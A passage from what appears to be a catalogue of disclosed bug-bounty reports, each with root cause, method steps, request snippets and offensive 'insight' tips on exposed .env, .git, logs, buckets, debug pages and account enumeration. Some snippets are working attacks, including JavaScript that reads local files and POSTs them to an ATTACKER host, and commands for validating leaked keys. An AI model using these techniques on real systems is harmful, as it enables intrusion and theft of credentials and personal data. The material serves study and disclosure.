- Compare responses: existing vs non-existent returns different status/body
- Iterate a wordlist to enumerate valid accounts
POST /forgot-password {email: candidate@x.com}
-> non-existent: 500 {"err":"No account with that id found."}
-> existing: generic success
Insight — Diff forgot-password / login / signup responses (status, body text, timing) to build a valid-account oracle for later credential stuffing. Fix is a uniform 'if it exists we sent a link' message.
Real-world example
Laravel log + .env exposure (debug/misconfig)
◆ High
Specimen #401098 · starbucks · awarded · 62 votes · resolved
Program starbucksSurface webChain exposed log/.env -> DB credentials
Root cause
A misconfigured Laravel instance exposed its log files and environment variables (including database credentials) to unauthenticated users.
Method
- Fingerprint Laravel (cookies, error pages, /storage paths)
- Fetch the exposed laravel.log / storage log path and the .env / debug config
- Extract DB and other credentials from logs and env
https://TARGET/storage/logs/laravel.log
https://TARGET/.env
# APP_DEBUG=true stack traces also leak env + creds
Insight — For any Laravel target, probe /.env, /storage/logs/laravel.log, and force an error with APP_DEBUG=true (Whoops page) - these routinely dump DB credentials, APP_KEY, and mail/AWS secrets. (Root cause from program summary; body limited-disclosure.)
Real-world example
Corporate credentials leaked in employee GitHub repos
◆ High
Specimen #360811 · starbucks · awarded · 48 votes · resolved
Program starbucksSurface cloudTag cloud-aws
Root cause
Employees push personal/side projects to public GitHub containing hardcoded production credentials (SAP HANA cloud users, DB creds, API tokens), discoverable by scanning commit history and code across accounts tied to the org.
Method
- Enumerate GitHub users/orgs associated with the target (employee emails, org name, product names)
- Search code + full commit history for credential patterns (password=, api_key, connection strings, SAP S-user, .sh/.py/.yml config files)
- Confirm which files hold live secrets and which service they unlock
- Report with exact file/commit path
# GitHub / gh code search examples
"S-user" OR "hana.ondemand" org:TARGET
path:*.sh (password OR passwd OR DB_PASS)
# review blob at github.com/<user>/<repo>/blob/<commit>/<file>
Insight — Scope GitHub recon to individual employee accounts and full commit history, not just the org: personal repos (PycharmProjects, test scripts, ETH_API/config.py, testsql.sh) routinely leak production creds. Diff old commits since secrets get 'deleted' but stay in history.
Real-world example
Server file read via rogue MySQL server (LOAD DATA LOCAL INFILE)
◆ High
Specimen #719875 · infogram · none · 47 votes · resolved
Program infogramSurface webTag cloud-aws
Root cause
An app feature lets users configure an outbound MySQL connection; the client has LOAD DATA LOCAL enabled, so an attacker-controlled MySQL server can respond to any query by requesting a local file, which the client reads off its own filesystem and sends back.
Method
- Find a feature that connects to a user-supplied MySQL host (data import, DB connectors)
- Point it at an attacker-controlled MySQL server
- Set the query to LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE ...
- The rogue server replies with a file-transfer request; capture the client-sent file contents (tcpdump/wireshark)
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE asd.asd
FIELDS TERMINATED BY "\n"
# attacker runs a malicious MySQL server; sniff port 3306:
# tcpdump -s 0 port 3306 -i eth0 -w loot.pcap
Insight — Any 'connect to your MySQL' feature is a server-side file-read primitive if the client keeps LOAD DATA LOCAL on. Use a rogue-MySQL tool (Rogue-MySql-Server) to exfil /etc/passwd, app configs, cloud creds. Detection is often just watching the client's outbound handshake for LOAD DATA LOCAL=1.
Real-world example
Corporate proxy injects unique tracking header leaking internal topology
◆ High
Specimen #258410 · deptofdefense · none · 43 votes · resolved
Program deptofdefenseSurface web
Root cause
BlueCoat gateways insert a unique per-device identifier header into outbound HTTP requests (to prevent proxy loops); an external server that logs request headers can correlate these IDs with source IPs over time to map proxy exits, subnets, and organizational structure.
Method
- On a server you control, log full/non-standard inbound HTTP request headers from visitors.
- Identify vendor-injected identifiers (BlueCoat unique-id, X-BlueCoat-Via, etc.).
- Correlate (id <-> source IP) over time: one IP with many IDs = shared exit proxy; one ID across IPs = mobile device/multiple exits.
# passively collect and diff non-standard request headers per visitor IP
# e.g. X-BlueCoat-Via: <unique-device-id>
Insight — Outbound-request headers added by middleboxes (proxies, DLP, VPN, mobile carriers) are an OSINT surface: a research endpoint that records them can de-anonymize and map an organization's egress infrastructure. Disable the unique-id feature to remediate.
Real-world example
Local file read via <link rel=import> + wildcard ACAO on file://
◆ High
Specimen #375329 · brave · awarded · 43 votes · resolved
Program braveSurface desktopChain file:// navigation -> ACAO:* on local files -> HTML imTag cors
Root cause
The browser returned Access-Control-Allow-Origin:* for local (file://) HTML resources, so an HTML import (<link rel=import>) could read arbitrary local files and expose their contents to script.
Method
- Get attacker HTML to run (opened locally or via a file:// navigation bug)
- Use <link rel=import as=document href=file:///etc/passwd onload=...>
- Read link.import DOM to exfiltrate file contents
<link id="link" href="file:///etc/passwd" rel="import" as="document" onload="alert(link.import.querySelector('body').innerHTML)" />
Insight — When a browser/app serves permissive CORS on local resources, HTML Imports (or fetch/XHR) become an arbitrary local-file-read primitive. Test file:// documents for ACAO:* and cross-origin readable imports; combine with any file:// navigation bug to escalate to critical.
Real-world example
Exposed .git directory in web root -> source & SSH key disclosure
◆ High
Specimen #248693 · grab · awarded · 42 votes · resolved
Program grabSurface web
Root cause
Deploying a working copy (rather than an export) leaves the .git metadata directory web-accessible; fetching .git/config and objects reconstructs source and can expose committed secrets (here ansible files including id_rsa).
Method
- Request /path/.git/config (200 confirms exposure).
- Dump the repo with git-dumper / gittools to reconstruct tracked files.
- Enumerate for secrets: private keys, host_vars, credentials (e.g. ansible/roles/common/files/id_rsa).
GET /wp-content/themes/.git/config HTTP/1.1
Host: TARGET
# then: git-dumper http://TARGET/.git/ ./loot
Insight — Always fuzz .git/.svn/.hg at web root AND inside sub-app/theme/plugin paths. The config file is the cheap tell; the win is reconstructing source and harvesting committed keys.
Real-world example
JBoss status servlet ?full=true unauth info leak (CVE-2010-1429)
◆ High
Specimen #2375659 · mtn_group · none · 42 votes · resolved
Program mtn_groupSurface web
Root cause
JBoss/Tomcat status servlet is reachable unauthenticated and, with full=true, discloses deployed web contexts, memory usage, and connected client IP addresses (a regression of CVE-2008-3273).
Method
- Identify JBoss/JBossWeb (server headers, /status, /web-console).
- Request /status?full=true unauthenticated.
- Read deployed contexts, JVM memory, and per-connection client IPs for recon.
GET /status?full=true HTTP/1.1
Host: TARGET
Insight — Legacy Java app-server management servlets (/status, /web-console, /jmx-console, /invoker) are perennial unauth leak/RCE surface; always test /status?full=true first for cheap internal recon.
Real-world example
Account/workspace-creation flow leaks org SSO metadata by email domain
◆ High
Specimen #864489 · slack · awarded · 39 votes · resolved
Program slackSurface apiTag saml
Root cause
The workspace-creation onboarding API keys off a submitted email domain to route to existing accounts, and its response returns enterprise-org metadata (SSO provider, Enterprise ID, admin email) for any domain belonging to an enterprise customer.
Method
- Open the sign-up / create-workspace flow (slack.com/get-started#/create).
- Submit an email at a target organization's domain.
- Inspect the onboarding API response for org metadata: SSO provider, Enterprise ID, managing admin email.
POST onboarding/create-workspace lookup with email=anyone@TARGET_ORG_DOMAIN
# response leaks SSO provider, Enterprise ID, admin email
Insight — Sign-up, SSO-discovery, and 'find your workspace/tenant' endpoints are unauthenticated org-enumeration surfaces: feeding a corporate domain frequently returns SSO/IdP config and admin contacts useful for targeting. Always test onboarding APIs with a target's domain.
Real-world example
Source backup file (.orig) served as plaintext leaks DB creds
◆ High
Specimen #1626236 · deptofdefense · $500 · 36 votes · resolved
Program deptofdefenseSurface web
Root cause
Editor/merge backup copies of server scripts (file.php.orig, .bak, ~, .swp) are not parsed by the interpreter, so requesting them returns raw source including hardcoded DB credentials.
Method
- Guess backup variants of known scripts (database.php.orig, config.php.bak, ...)
- view-source the URL to read raw PHP
- Harvest $hostname/$db/$username/$password
GET /database.php.orig HTTP/1.1
Host: TARGET
# returns raw PHP: $username='..'; $password='..';
Insight — Always fuzz for source backups (.orig/.bak/.old/.save/~/.swp/.txt) of config/db scripts; the server serves them as text, exposing secrets the live .php hides.
Real-world example
Verbose error reveals log path; predictable date-named logs enumerated
◆ High
Specimen #1239633 · mtn_group · none · 33 votes · resolved
Program mtn_groupSurface webChain verbose 500 (path disclosure) -> predictable log filename
Root cause
A 500 error exposes the server's full file path to a log directory, and log files use a predictable date-based naming scheme (Log_DD-MM-YYYY.txt) served without auth, so any day's login logs (including admin) can be retrieved by editing the filename.
Method
- Trigger a 500 to reveal the log path in the stack trace
- Request the current-day log: /logfiles/Log_21-06-2021.txt
- Iterate the date in the filename to pull historical logs
GET /logfiles/Log_21-06-2021.txt HTTP/1.1
# change date to enumerate: Log_DD-MM-YYYY.txt
Insight — Verbose errors leak absolute paths; combine with predictable timestamped filenames (logs/backups/exports) to enumerate an entire directory. Fuzz date and sequence patterns.
Real-world example
WordPress REST API username enumeration (/wp-json/wp/v2/users)
◆ High
Specimen #1785021 · MTN Group · none · 31 votes · resolved
Program MTN GroupSurface web
Root cause
The WordPress REST users endpoint is publicly accessible and returns account names/slugs, enabling enumeration of valid usernames by iterating the numeric id.
Method
- Browse to /wp-json/wp/v2/users on the target WordPress site
- Iterate /wp-json/wp/v2/users/<id> to enumerate individual accounts
- Collect display names and login slugs for password attacks
https://TARGET/wp-json/wp/v2/users
https://TARGET/wp-json/wp/v2/users/1
https://TARGET/wp-json/wp/v2/users/192
# also: /?rest_route=/wp/v2/users and /?author=1 redirect leak
Insight — On any WordPress target, always hit /wp-json/wp/v2/users and ?author=N; both leak usernames/slugs that seed credential-stuffing and admin-targeting. High-value when the site is an auth/admin surface.
Real-world example
Internal object ID leaked in CDN asset URL
◆ High
Specimen #358007 · bumble · awarded · 28 votes · resolved
Program bumbleSurface webChain ID leak in CDN URL -> /profile/{id} deanonymization ->
Root cause
The like/encounter API response returns a CDN image URL embedding the real user ID, which the UI otherwise hides; navigating to /profile/{id} deanonymizes the user and lets an attacker message them out of normal matching flow.
Method
- Act on an anonymized profile (like/dislike) and capture the API response in a proxy
- Extract the numeric user ID embedded in the returned CDN image URL path
- Visit /profile/{id} to reach the real profile; automate the swipe-capture-resolve loop
# response image URL:
pr4eu.badoocdn.com/p34/133/0/0/5/631317204/.../sz___size__.jpg
# ^^^^^^^^^ real user id -> https://badoo.com/profile/631317204
Insight — Inspect asset/CDN URLs, filenames and thumbnail paths in responses: internal object IDs, user IDs and tenant IDs frequently leak there even when the JSON body redacts them. A leaked ID is the pivot for IDOR/deanonymization.
Real-world example
Exposed database dump at predictable path (/db.sql)
◆ High
Specimen #197789 · ok · awarded · 27 votes · resolved
Program okSurface web
Root cause
A full MySQL dump (db.sql) containing the users table and admin credentials was left web-accessible at a guessable path.
Method
- Request common backup/dump filenames at the web root (db.sql, dump.sql, backup.sql, database.sql)
- Retrieve http://TARGET/db.sql and parse CREATE TABLE / INSERT for admin accounts and hashes
GET /db.sql HTTP/1.1
Host: TARGET
Insight — Always fuzz for exported SQL dumps and backups at predictable paths - a single readable db.sql yields the user table, password hashes, and admin accounts. Cheap, high-impact recon.
Real-world example
Admin token leaked in internal Slack channel
◆ High
Specimen #2137154 · mozilla · 1000 · 24 votes · resolved
Program mozillaSurface webTag account-takeover
Root cause
A staff member pasted a live admin API token into an internal Slack channel; any NDA/staff member with workspace access could search it and use it against the admin API.
Method
- Gain legitimate NDA/staff access to the org Slack
- Search channels for 'token','Bearer','api_key','Authorization'
- Validate found tokens against the corresponding admin API
curl -H "Authorization: Bearer $tok" https://STAGE/api/v1/admin/accounts/
Insight — Slack/Teams/Jira comments are pervasive secret stores; when you have (or bug-bounty scope grants) workspace access, search for token patterns and validate.
Real-world example
Auth API key + clientId leaked in public bundled JS
◆ High
Specimen #1051029 · top_echelon_software · none · 21 votes · resolved
Program top_echelon_softwareSurface webTag cloud-gcp
Root cause
Sensitive Google Drive/OAuth apiKey and clientId hardcoded into a client-side Angular bundle (job_board.js) served publicly.
Method
- Load the SPA and enumerate its bundled JS (e.g. job_board.js)
- Grep the bundle for apiKey/clientId/token/secret string literals
- Validate the leaked key against the corresponding Google/OAuth API
angular.module("jb").config(["lkGoogleSettingsProvider", function(e){
e.configure({
apiKey: "<LEAKED_KEY>",
clientId: "<LEAKED>.apps.googleusercontent.com",
scopes: ["https://www.googleapis.com/auth/drive.readonly"]
})
}])
Insight — Angular/SPA config providers frequently embed live third-party keys; always pull every JS chunk and grep for apiKey/clientId/authDomain rather than trusting minification as obscurity.
Real-world example
Public S3 bucket exposes user geolocation data
◆ High
Specimen #947725 · rockset · none · 21 votes · resolved
Program rocksetSurface cloudTag cloud-aws
Root cause
A support/backup S3 bucket with a guessable name (<company>-support) is world-readable/listable and contains data dumps (data.json.*) with user latitude/longitude that de-anonymize physical addresses.
Method
- Guess bucket names from company/product (<name>-support, <name>-backup, <name>-assets)
- List/sync anonymously
- Grep dumped JSON for lat/long, emails, addresses; plot coords in Google Maps
aws s3 ls s3://TARGET-support --no-sign-request
aws s3 sync s3://TARGET-support . --no-sign-request
Insight — Bucket names are guessable from the brand. Always fuzz <brand>-{support,backup,dev,assets,uploads,logs} with --no-sign-request; support/backup buckets frequently hold PII dumps.
Real-world example
Static-server dotfile protection bypassed by requesting files inside the dot-folder (.git exposure)
◆ High
Specimen #490379 · nodejs-third-party-modules · none · 21 votes · resolved
Program nodejs-third-party-modulesSurface webChain dotfile filter bypass -> full .git download -> source/Tag subdomain-takeover
Root cause
A static file server's 'nodot' rule blocks requests whose path component is a dotfile/dotdir (e.g. /.git) but does not block requests to non-dot children inside a dot-directory (e.g. /.git/HEAD), so the protection is bypassed and the whole .git repo is readable.
Method
- Confirm /.git returns 404 (protection appears active)
- Request a known child that is not itself a dotfile: /.git/HEAD, /.git/config, /.git/index
- Walk refs/objects/packs to reconstruct the full repository
curl --path-as-is http://TARGET/.git/ # -> File Not Found (blocked)
curl --path-as-is http://TARGET/.git/HEAD # -> ref: refs/heads/master (bypassed)
curl --path-as-is http://TARGET/.git/config
Insight — Dotfile filters that match the final path segment or the leading path miss deeper children. Whenever /.git or /.env is 'blocked', still try the known inner files (/.git/HEAD, /.git/config, /.svn/entries) with --path-as-is; a 404 on the folder is not a 404 on its contents.
Real-world example
Live API key in old GitHub commit; validated non-revoked via vendor API
◆ High
Specimen #1094151 · rockset · none · 21 votes · resolved
Program rocksetSurface webTag cloud-aws
Root cause
A secret was removed from the current code but remains in git history (an old commit/PR diff); the key was never rotated, so it stays valid.
Method
- Search the org's GitHub (and PR diffs / commit history) for key patterns
- Extract keys that were 'deleted' from HEAD but live in history
- Confirm the key is active via the vendor's whoami/list-keys endpoint
# key found in old PR diff, then validated:
curl --request GET --url https://api.rs2.usw2.rockset.com/v1/orgs/self/users/self/apikeys \
-H 'Authorization: ApiKey LEAKED_KEY' # returns key metadata -> not revoked
Insight — Deleting a secret from the current file does not remove it from git history and rarely triggers rotation. Use trufflehog/gitleaks over full history (not just HEAD), then always validate liveness with a read-only API call before reporting.
Real-world example
Exposed phpinfo() leaking env secrets (Laravel APP_KEY/SMTP/DB)
◆ High
Specimen #1049402 · mtn_group · none · 18 votes · resolved
Program mtn_groupSurface webChain phpinfo secret leak -> SMTP takeover / APP_KEY-based cook
Root cause
A publicly reachable phpinfo/info endpoint dumps environment variables, exposing framework secrets and third-party credentials.
Method
- Probe for /info, /phpinfo.php, /info.php during recon
- Read PHP Variables section for APP_KEY, DB_*, MAIL_* values
- Validate leaked SMTP creds by authenticating and sending mail
GET https://TARGET/info
# harvest: APP_KEY (Laravel cookie/signature crypto), DB user/pass, SMTP user/pass
python smtptest.py -v -u LEAKED_USER -p LEAKED_PASS from@target.com you@example.com SMTP_HOST
Insight — phpinfo is not just version banner: env-var mode leaks live secrets. A Laravel APP_KEY enables cookie/signature forgery; SMTP creds enable spoofed mail from official domains. Always fuzz /info style paths.
Real-world example
Search-engine dorking of /join links + open enrollment
◆ High
Specimen #1514356 · khanacademy · none · 17 votes · resolved
Program khanacademySurface web
Root cause
Class join URLs (containing the class code) are indexed by search engines, and enrollment requires no teacher invite, so anyone can join arbitrary classes and view teacher PII.
Method
- Dork a search engine for the join path (site:TARGET/join)
- Open an indexed join link to obtain a valid class code
- Register a student account and join without an invitation; view teacher name/course data
# Yahoo/Bing/Google dork
site:pl.khanacademy.org/join
# open result -> class code embedded -> create student -> joined class, teacher full name visible
Insight — Invite/join tokens embedded in URLs get indexed. Dork for /join, /invite, /share paths across subdomains; if enrollment lacks an approval step, indexed codes = unauthorized access.
Real-world example
Local file read via same-origin file:// iframe in the browser
◆ High
Specimen #258630 · torproject · none · 15 votes · resolved
Program torprojectSurface desktopChain open local HTML -> read arbitrary local files -> exfilTag file-upload
Root cause
Firefox/Tor treated file:// documents as same-origin with other local files, so JS in a saved HTML file could read the DOM of an iframe pointing at other local files (not restricted to its own directory) and exfiltrate them.
Method
- Trick the victim into opening an attacker HTML file locally (download-and-open).
- Create an iframe whose src is a target local path (file:///.../secret.txt).
- After load, read frame.contentWindow.document contents and POST to an attacker server.
frame = document.createElement('iframe');
frame.src = document.location.href.replace('poc.html','1.txt');
document.body.appendChild(frame);
setTimeout(function(){
loot = frame.contentWindow.document.getElementsByTagName('pre')[0].innerHTML;
fetch('http://ATTACKER/x',{method:'POST',body:loot});
},500);
Insight — file:// same-origin policy differs by browser; where local files share an origin, a single opened HTML file can read arbitrary readable local files. Chrome blocks this - a good differential test for local/desktop HTML contexts.
Real-world example
Tor Browser de-anonymization via UNC/network path in about:memory file loader
◆ High
Specimen #294364 · torproject · none · 15 votes · resolved
Program torprojectSurface desktopChain UNC path in privileged about: page -> unproxied OS fetch
Root cause
The about:memory 'load logs from file' feature accepts a network/UNC path; the OS resolves it via an unproxied connection, revealing the user's real IP instead of routing through Tor.
Method
- Craft a bookmark/anchor pointing to about:memory?file=\\\\attacker-host\\q.json.gz (UNC path to attacker server).
- Get the victim to add it to the bookmarks bar and click it.
- The OS makes a direct (unproxied) SMB/HTTP fetch to the attacker host, logging the real IP.
about:memory?file=\\attacker-host\q.json.gz
Insight — In privacy/proxy tools, any feature that accepts a file path but also resolves network/UNC paths is a proxy-bypass and de-anon primitive: OS-level fetches skip the app's SOCKS proxy. Audit local-file loaders for acceptance of \\host\ and \\?\UNC and http(s) URLs.
Real-world example
Publicly exposed Drupal DB dump leaking hashes/config
◆ High
Specimen #2370578 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface web
Root cause
A database dump / install export file (containing Drupal INSERT statements and serialized config with password hashes) was left web-accessible under the docroot; content fingerprinted the site as Drupal first.
Method
- Fingerprint the CMS (Drupal)
- Fuzz for exposed dump/backup/export files (*.sql, *.sql.gz, backup*, sites/default/files/*)
- Download and parse for INSERT statements, hashes, and serialized config blocks
# wordlist-driven discovery of exposed dumps
for f in dump.sql database.sql backup.sql install.sql db.sql.gz; do curl -s -o /dev/null -w "%{http_code} $f\n" https://TARGET/$f; done
Insight — CMS fingerprint first, then hunt for framework-specific backup/export artifacts left in the webroot - Drupal INSERT dumps and serialized {config} blocks leak password hashes and internal structure.
Real-world example
Enumerable contract IDs leak PII (search-engine cached)
◆ High
Specimen #374007 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
A ColdFusion listing endpoint returns PII (names, emails, phone numbers) keyed by a ContractNumber parameter with no authorization/ownership check; the pages were also crawled and cached by Google, exposing them without authentication.
Method
- Google-dork the target for the endpoint/parameter (site: + inurl:CMT_View or similar)
- Vary the ContractNumber / OrderBy params and enumerate
- Harvest returned PII rows; verify realness by pivoting an email to LinkedIn
https://TARGET/CMT_View/CMT_View_List.cfm?StartRow=1&OrderBy=Email&SearchType=CONTRACT&ContractNumber=<id>&Cage=
Insight — Combine Google-cache discovery with parameter enumeration: listing/report endpoints (.cfm/.aspx) keyed by contract/order/record IDs and missing per-record authz are classic bulk-PII leaks; sortable OrderBy params let you page the whole dataset.
Real-world example
Private form submissions republished to a public endpoint (canary discovery)
◆ High
Specimen #1004964 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface web
Root cause
Every submission to a private contact/support form is mirrored to a publicly accessible endpoint that requires no authentication, exposing all users' requests and PII.
Method
- Submit a request to the form containing a unique canary string
- Search Google/site for the canary to find where submissions surface
- Confirm the public endpoint lists all users' submissions
1) submit form with body containing UNIQUE_CANARY_1234
2) google: "UNIQUE_CANARY_1234" (or site:target UNIQUE_CANARY_1234)
3) hit the public listing endpoint -> all submissions incl. PII
Insight — After you submit anything (forms, tickets, comments, uploads), plant a unique canary and Google/grep for it: data is often mirrored to public dashboards, search indexes, logs, or CDN caches. This 'search your own payload' trick surfaces unexpected disclosure and stored-XSS sinks alike.
Real-world example
Struts action leaks config: creds, internal IPs, service data
◆ High
Specimen #1397788 · mtn_group · none · 13 votes · resolved
Program mtn_groupSurface web
Root cause
An unauthenticated application action endpoint (queryconfig.action) dumps application configuration to the client, exposing usernames, encrypted passwords, internal IP addresses and internal-service config.
Method
- Request the config action endpoint unauthenticated
- Read the returned configuration for credentials, internal hosts and service details
GET https://TARGET/common/queryconfig.action
-> usernames, encrypted passwords, internal IPs, internal service config
Insight — Struts/Java apps expose *.action/*.do handlers that may return config or debug data unauthenticated. Fuzz for queryconfig.action, config.action, debug/admin/status actions. Config dumps yield internal IPs (SSRF targets), service creds, and architecture for lateral pivoting.
Real-world example
Directory listing exposes log files revealing internal architecture
◆ High
Specimen #1948562 · mars · none · 13 votes · resolved
Program marsSurface web
Root cause
Apache autoindex (directory listing) is enabled on a directory containing log files; the listed logs disclose internal backend endpoints/ports, proxy targets, and other researchers' attack attempts.
Method
- Request a directory with no index file and get an autoindex listing
- Open exposed *.log files
- Mine logs for internal hosts/ports (:3000 backends), cgi-bin paths, and error signatures
GET /<dir>/ (autoindex)
# error.log reveals:
(111)Connection refused: AH00957: HTTP: attempt to connect to <internal>:3000 failed
AH00126: Invalid URI in request GET /cgi-bin/.%2e/%2e%2e/.../etc/hosts
Insight — Directory listing is not just 'a nag' when the directory holds logs/backups/config: access/error logs leak internal service hostnames and ports (SSRF/pivot targets), auth failures, and paths. Look for autoindex on /logs /backup /tmp /old and read what's inside.
Real-world example
Steal WebView->native bridge token via property shadowing
◆ High
Specimen #1668723 · brave · awarded · 12 votes · resolved
Program braveSurface mobile-iosChain property shadowing -> bridge token theft -> privileged
Root cause
The mobile browser protects its JS->native bridge with a random handler name + security token passed into a window property (braveBlockRequests) that the injected user-script sets AFTER page scripts run; a page can pre-define that property as immutable to capture the secret arguments.
Method
- On the attacker page, define window.braveBlockRequests as a non-writable, non-configurable property whose value is a function that captures its arguments.
- Because the property is immutable, the browser's later assignment cannot overwrite it and instead the app calls the attacker's function with the secret handler name + token.
- Exfiltrate the captured handler name and token to abuse the privileged native bridge.
Object.defineProperty(window, "braveBlockRequests", {
enumerable: false,
configurable: false,
writable: false,
value: function(args) { window.args = args } // steal handler name & token
});
Insight — Any WebView bridge that stores its secret in a page-reachable global set after web content loads can be hijacked by an attacker page pre-defining that global as immutable. Audit injected user-scripts for order-of-execution / property-pollution races.
Real-world example
Debug endpoint dumps process env incl. AWS creds and VCAP_SERVICES
◆ High
Specimen #1720278 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface apiChain env-var disclosure -> AWS S3 credential compromiseTag cloud-aws
Root cause
An application exposes a debug/util endpoint (/api/getEnvVars) that serializes the entire process environment, including bound-service credentials (Cloud Foundry VCAP_SERVICES with aws-s3 access_key_id/secret_access_key) and internal host/port/PATH.
Method
- Fuzz for env/debug endpoints (/api/getEnvVars, /env, /debug/vars, /actuator/env, /?debug).
- Read the JSON response for VCAP_SERVICES, AWS_*, secret_access_key, internal IPs/ports.
- Use recovered S3 credentials against the named buckets.
POST /api/getEnvVars
# response includes:
# VCAP_SERVICES aws-s3 credentials { access_key_id, secret_access_key, bucket, region }
# CF_INSTANCE_IP, CF_INSTANCE_PORT, PATH, HOME=/home/vcap/app
Insight — On Cloud Foundry / PaaS apps, any endpoint leaking env vars = instant credential compromise because bound-service creds live in VCAP_SERVICES. Always wordlist for env-dumping routes and grep responses for 'secret', 'VCAP', 'access_key'.
Real-world example
Django DEBUG=True error pages leak configuration and secrets
◆ High
Specimen #963542 · dropcontact · none · 12 votes · resolved
Program dropcontactSurface webChain Leaked SECRET_KEY/API keys -> session forgery / onward auTag cloud-aws
Root cause
The Django app ran with DEBUG=True in production, so unhandled errors render the verbose debug page exposing settings, API keys, database users, installed apps and filesystem paths.
Method
- Trigger an unhandled server error (invalid path, bad parameter type, unexpected method, malformed input).
- Read the Django yellow debug page: settings dump, environment, DB config, traceback with source and paths.
- Harvest API keys / DB users / secret paths for further attacks.
# force a 500 to render the Django debug traceback:
GET /nonexistent-view-or-bad-arg/%00
# debug page reveals settings, SECRET_KEY-adjacent config, DB users, API keys, dirs
Insight — On any Django target, deliberately trigger errors and look for the debug page; the same idea generalizes to Flask/Werkzeug console, Rails, Symfony profiler, ASP.NET yellow-screen. Framework debug mode in prod is a reliable secret leak.
Real-world example
NTLM WWW-Authenticate challenge disclosure of internal AD info
◆ High
Specimen #853284 · mtn_group · none · 12 votes · resolved
Program mtn_groupSurface webChain NTLM info leak -> OS fingerprint (Windows Server 2012 R2)
Root cause
An IIS endpoint with Windows/NTLM auth returns an NTLM Type-2 challenge that encodes internal AD data; forcing the negotiation without a login prompt leaks it unauthenticated.
Method
- Find an endpoint/directory offering NTLM (401 WWW-Authenticate: NTLM/Negotiate)
- Send a Type-1 NTLM token in the Authorization header to trigger the Type-2 challenge with no login UI
- Base64-decode the WWW-Authenticate NTLM blob (Burp NTLM Challenge Decoder)
- Read leaked NetBIOS/DNS computer name, domain, tree, and Windows version
GET /fr/Pages/ HTTP/1.1
Host: TARGET
Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# Decode 'WWW-Authenticate: NTLM <base64>' Type-2 -> MsvAvNbComputerName, MsvAvDnsDomainName, MsvAvDnsTreeName, OS version
Insight — Any NTLM-negotiating web endpoint leaks internal hostnames/domain/OS pre-auth; feed the OS version into version-specific exploits (e.g. MS17-010) for recon-to-RCE planning.
Real-world example
Sensitive-document exposure via indexable CMS /Portals/Documents directory
◆ High
Specimen #877598 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A DotNetNuke-style portal serves an unauthenticated, directory-structured document store (/Portals/<id>/Documents/) that search engines index, exposing resumes, emails and medical (PHI) PDFs.
Method
- Fingerprint the CMS (DNN/SharePoint) and its predictable document path (/Portals/<id>/Documents/)
- Search-engine dork for indexed files under that path
- Enumerate meeting/subfolder patterns (m11, m14, m18...) and pull the PDFs directly
site:TARGET.mil inurl:"/Portals/" filetype:pdf
# Bing: site:TARGET AND "/Portals/22/Documents/Meetings/"
Insight — Portal/CMS document stores use guessable numeric paths (/Portals/<n>/Documents/<meeting>/) and rely on obscurity. Combine search-engine dorks with path enumeration; sensitive PII/PHI is routinely left in these public folders.
Real-world example
Browser tab-object (history) theft via drag-and-drop dataTransfer
◆ High
Specimen #258578 · brave · awarded · 10 votes · resolved
Program braveSurface desktopTag account-takeover
Root cause
Brave (Muon/Electron) exposes an internal application/x-brave-tab drag payload readable by a web page's drop handler; the JSON includes the tab's full navigation history, leaking cross-origin browsing data.
Method
- Attacker page opens a popup to https://www.facebook.com/me (redirects to /{victim_name}) then a dummy page, building a history entry
- Social-engineer the user to drag that popup's tab and drop it onto an attacker drop target
- Read the dropped application/x-brave-tab object and parse the history[] array
el.addEventListener('drop', e => {
const t = e.dataTransfer.getData('application/x-brave-tab');
console.log(JSON.parse(t).history); // ["https://www.facebook.com/<victim>", ...]
});
Insight — Custom/internal drag-drop MIME types (application/x-*-tab) in Electron/Chromium-derived browsers can carry privileged state (history, metadata) readable by untrusted drop handlers. Enumerate dataTransfer types on drop.
Real-world example
Exposed .git directory -> reconstruct source + hardcoded API password
◆ High
Specimen #765825 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webChain exposed .git -> source disclosure -> hardcoded API cre
Root cause
A publicly readable .git/ directory left on the web root lets anyone fetch loose objects, zlib-inflate them, and reconstruct full server-side source code including committed credentials (here a Yubikey API password).
Method
- Detect exposed VCS: GET /.git/HEAD returns 'ref: refs/heads/...'
- Mirror the repo: wget -r or git-dumper on /.git/
- Inflate objects and grep the reconstructed source for secrets (passwords, API keys, config)
wget --no-parent -r https://TARGET/.git/ --no-check-certificate
# or: git-dumper https://TARGET/.git/ ./out
# inflate loose objects and grep for secrets:
python3 - <<'PY'
import zlib,os
for sub,_,files in os.walk('TARGET/.git/objects/'):
for f in files:
if f.startswith('index'): continue
print(zlib.decompress(open(os.path.join(sub,f),'rb').read()))
PY
Insight — Always probe /.git/HEAD, /.svn/, /.hg/ on every host. An exposed .git leaks not just current files but full history, so rotated/removed secrets are still recoverable from old commits.
Real-world example
GitLab REST API leaks private projects/users despite auth-gated web UI
◆ High
Specimen #1624152 · deptofdefense · awarded · 10 votes · resolved
Program deptofdefenseSurface apiChain unauth API enumeration -> repo clone -> source/secret
Root cause
A self-hosted GitLab required login on the web UI but left the REST API and repo endpoints unauthenticated, so /api/v4/projects enumerated 'private' projects, users, repo URLs, and the source was cloneable without credentials.
Method
- When a GitLab web UI redirects to /users/sign_in, do not stop; hit the API directly
- GET /api/v4/projects (and /api/v4/users) to enumerate project metadata, http_url_to_repo, namespaces/usernames
- git clone the disclosed http_url_to_repo without credentials to pull full source
curl -s 'https://TARGET/api/v4/projects?per_page=100' | jq '.[].http_url_to_repo'
curl -s 'https://TARGET/api/v4/projects/PROJECT_ID'
git clone https://TARGET/NAMESPACE/REPO.git
Insight — UI-level auth != API-level auth. Whenever a web app forces login, re-test the underlying API/mobile endpoints (GitLab /api/v4, Jira /rest/api, GraphQL) unauthenticated; visibility settings are often enforced only in the front end.
Real-world example
Anonymous LDAP bind dumps directory info
◆ High
Specimen #2081332 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface networkChain anonymous bind -> directory enumeration -> user/org da
Root cause
An LDAP/LDAPS server permitting anonymous (unauthenticated) bind lets anyone query the directory: DSE/root info, naming contexts, and potentially user and org objects.
Method
